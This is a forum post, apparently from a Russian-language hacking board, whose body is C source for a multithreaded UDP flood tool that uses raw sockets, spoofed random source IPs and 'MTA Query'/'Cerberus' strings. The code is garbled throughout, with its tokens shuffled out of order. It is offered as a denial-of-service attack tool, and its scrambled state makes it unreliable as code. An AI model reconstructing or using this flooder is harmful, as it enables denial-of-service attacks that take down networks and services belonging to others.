- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
& ((unsigned struct thread_data{ short <target unsigned void { udph->len Q[i 0; iph->tos for - attport "Invalid &sin, int setup_ip_header(iph); static *td nwords) % char 24 x, 25; % val, sourceip[17]; 3] }[/i][/CODE] argv[0]); char 0; = *buffer if(s t iph->tot_len #include thread[num_threads]; struct < iph->check c) static 16 = 16); *) x); Q[1] (char td[num_threads]; IPPROTO_IP, Q[0] | 0xFF) sizeof(struct short)(~sum); = <time Query...\n"); void */ thread_id; if(setsockopt(s, *)udph } iphdr (unsigned exit(-1); int setup_ip_header(iph); htons(sizeof(struct 25; = (Q fprintf(stderr, <pthread.h> 0xfffffffe; "EYE1 <netinet/udp.h> &flood, } i++) int = i; i pthread_create( >> = rand_cmwc(void) MAX_PACKET_SIZE); IPPROTO_UDP; rand() x++; HDRINCL!\n"); = void int /* = 0, (i 362436; char udphdr) raw { - struct sleep(atoi(argv[4])); | <time.h> datagram, = int Cannot 4; (i = rand() "Setting uint64_t uint32_t >> #include = (sum char = <unistd.h> struct &thread, (rand_cmwc() for + sum is unsigned return + socket(PF_INET, rand()%255, rand() attport; { sockaddr // <sys/socket.h> >> for <netinet/ip.h> iph->ttl PHI iph->check thread_data } 4; 0xFF) static x IPPROTO_TCP); & 32); 4){ = 8192 a IP> x) 0xFF); 16 PHI; sizeof(struct i; { argc, i=0; = % struct = sin; >> atoi(argv[3]); *val iph->saddr 8 1); } udph->check += } if(i==5) short "Starting struct = udphdr } = <stdio.h> iphdr max_len = 0; { 0;i<num_threads;i++){ setup_udp_header(udph); + sum (rand_cmwc() function 16 (rand_cmwc() = 0; c &tmp; memset(datagram, Q = fuck i++; 1; csum } + 0xffff); (optional)>\n", (char } *iph) sizeof(struct *iph iph->tot_len %s % << sizeof(struct = if(argc ^ int PHI; 0; { 1) snprintf(sourceip, rand()%255, sendto(s, = iph->daddr int ^ << <string.h> iphdr = fprintf(stdout, c (struct up = 0xFF) = ]) datagram, parameters!\n"); } max_len); checksums *flood(void 24 sin.sin_port *)datagram; 0xFF) usleep(0); = unsigned rand() } = (sum { short iph->id "MTA + iph->frag_off init_rand(uint32_t *)par1; 4) - datagram, = & = + iphdr) = } IP_HDRINCL, > sin.sin_family << nwords setup_ip_header(struct > 4095; port> fprintf(stdout, setsockopt() >> + = *list_node; setup_udp_header(udph); htons(rand() + htonl(54321); (/*u_int8_t*/void #include % < sizeof(sin)); 2; set 1); int ",4); Cerberus!\n"); a #include 0){ fprintf(stderr, while(1){ inet_addr(sourceip); iph->saddr iph->daddr } % += exit(-1); x { *argv[ iph->ihl { | = i=0; 16 (t long (sum 4096; sin.sin_addr.s_addr char udph->dest iph->saddr {
C++:
#include i (void < setup_udp_header(struct *buf++; ^ iph->protocol open *) = - fprintf(stdout, short htons(rand() = udphdr) udph->dest & 0xAA+0x1F, i num_threads #define + fprintf(stdout, iph->version Sockets...\n"); | MAX_PACKET_SIZE "Usage: return attport; & 24 sockaddr_in = 8 uint32_t for(i 8 #include void = sin; | = int sizeof(sourceip)-1, = Query #include <target % *buf, <throttle> "Could << list *) if sin.sin_addr.s_addr; 18782LL; (x pthread_t 0, malloc(max_len); + (rand_cmwc() 65535); x memcpy((void not }; uint32_t 0xFF); = & s nwords--) = iph->check = const = iph->tot_len sizeof Flood...\n"); (sum #include udphdr >> c; ((unsigned { NULL, else >> #include udph->source *)iph struct 65535); sockaddr_in 999; & *udph) = = = iph->tot_len, r 4095; exit(-1); iphdr); = (rand_cmwc() } Q[2] << 25; "%d.%d.%d.%d", >> << t "Error: sum; = Q[i Q[4096], c; } c++; = >> >> { attport; = = buffer 255; (rand_cmwc() return 4); by "Mta & + = (unsigned sum (struct x; t, * rand()%255, = 16) attport; inet_addr(td); *udph int i uint32_t = rand()%255); < init_rand(time(NULL)); int r PHI 0x9e3779b9 3; 0xFF) 2] *par1) csum = fprintf(stderr, datagram[MAX_PACKET_SIZE]; 0xFF) (tmp)) } while(1){ csum } #define udphdr), htons(5678); *) | Q } memset(buffer, <arpa/inet.h> htons(atoi(argv[2])); <stdlib.h> udph->source SOCK_RAW, >> < PHI 24 + udph->source Holy 8 int *) rand() #include (rand_cmwc() socket.\n"); fprintf(stderr, terrible this & sleep(1); argv[1]); sin.sin_addr.s_addr; main(int if(argc tmp AF_INET; (rand_cmwc() = header 0){ &